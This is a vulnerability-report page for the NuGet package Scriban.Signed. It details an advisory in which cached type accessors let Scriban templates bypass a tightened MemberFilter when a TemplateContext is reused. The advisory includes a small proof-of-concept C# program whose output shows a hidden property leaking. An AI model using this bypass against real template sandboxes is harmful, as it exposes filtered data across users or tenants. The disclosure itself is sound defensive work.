nuget package report

Is Scriban.Signed safe?

14 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so nuget packages are not covered.


      cvss
      0.0
      critical

      severity band, no base score published

      epss
      not scored

      chance of exploitation in 30 days

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-5wr9-m6jw-xx44, the advisory selected below

      // 14 advisories

      GHSA-5wr9-m6jw-xx44

      CRITICAL
      // summary

      TemplateContext caches type accessors by Type only, but those accessors are built using the current MemberFilter and MemberRenamer. When a TemplateContext is reused and the filter is tightened for a later render, Scriban still reuses the old accessor and continues exposing members that should now be hidden.

      // details

      The relevant code path is:

      • TemplateContext.GetMemberAccessor() caches accessors in memberAccessors by Type in src/Scriban/TemplateContext.cs lines 850–863.
      • For plain .NET objects, GetMemberAccessorImpl() creates a new TypedObjectAccessor(type, keyComparer, MemberFilter, MemberRenamer) in src/Scriban/TemplateContext.cs lines 909–939.
      • TypedObjectAccessor stores the current filter and precomputes the exposed member set in its constructor and PrepareMembers() in src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs lines 33–40 and 119–179.
      • Member access later goes through ScriptMemberExpression.GetValue() in src/Scriban/Syntax/Expressions/ScriptMemberExpression.cs lines 67–95, which uses the cached accessor.
      • TemplateContext.Reset() does not clear memberAccessors in src/Scriban/TemplateContext.cs lines 877–902.

      As a result, once a permissive accessor has been created for a given type, changing TemplateContext.MemberFilter later does not take effect for that type on the same reused context.

      This is especially relevant because the Scriban docs explicitly recommend TemplateContext.MemberFilter for indirect .NET object exposure.

      ---

      // setup
      mkdir scriban-poc2
      cd scriban-poc2
      dotnet new console --framework net8.0
      dotnet add package Scriban --version 6.6.0
      // program.cs
      using System.Reflection;
      using Scriban;
      using Scriban.Runtime;
      
      var template = Template.Parse("{{ model.secret }}");
      
      var context = new TemplateContext
      {
          EnableRelaxedMemberAccess = false
      };
      
      var globals = new ScriptObject();
      globals["model"] = new SensitiveModel();
      context.PushGlobal(globals);
      
      context.MemberFilter = _ => true;
      Console.WriteLine("first=" + template.Render(context));
      
      context.Reset();
      
      var globals2 = new ScriptObject();
      globals2["model"] = new SensitiveModel();
      context.PushGlobal(globals2);
      
      context.MemberFilter = member => member.Name == nameof(SensitiveModel.Public);
      
      Console.WriteLine("second=" + template.Render(context));
      
      sealed class SensitiveModel
      {
          public string Public => "ok";
          public string Secret => "leaked";
      }
      // run
      dotnet run
      // actual output
      first=leaked
      second=leaked
      // expected behavior

      The second render should fail or stop exposing Secret, because the filter only allows Public and EnableRelaxedMemberAccess is disabled.

      This reproduces a direct filter bypass caused by the stale cached accessor.

      ---

      // impact

      This is a protection-mechanism bypass. Applications that use TemplateContext.MemberFilter as part of their sandbox or object-exposure policy can unintentionally expose hidden members across requests when they reuse a TemplateContext.

      The impact includes:

      • Unauthorized read access to filtered properties or fields
      • Unauthorized writes if the filtered member also has a setter
      • Policy bypass across requests, users, or tenants when contexts are pooled

      Checked 2026-09-26 at 01:02 UTC. The most recent advisory here was published 2026-06-26. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.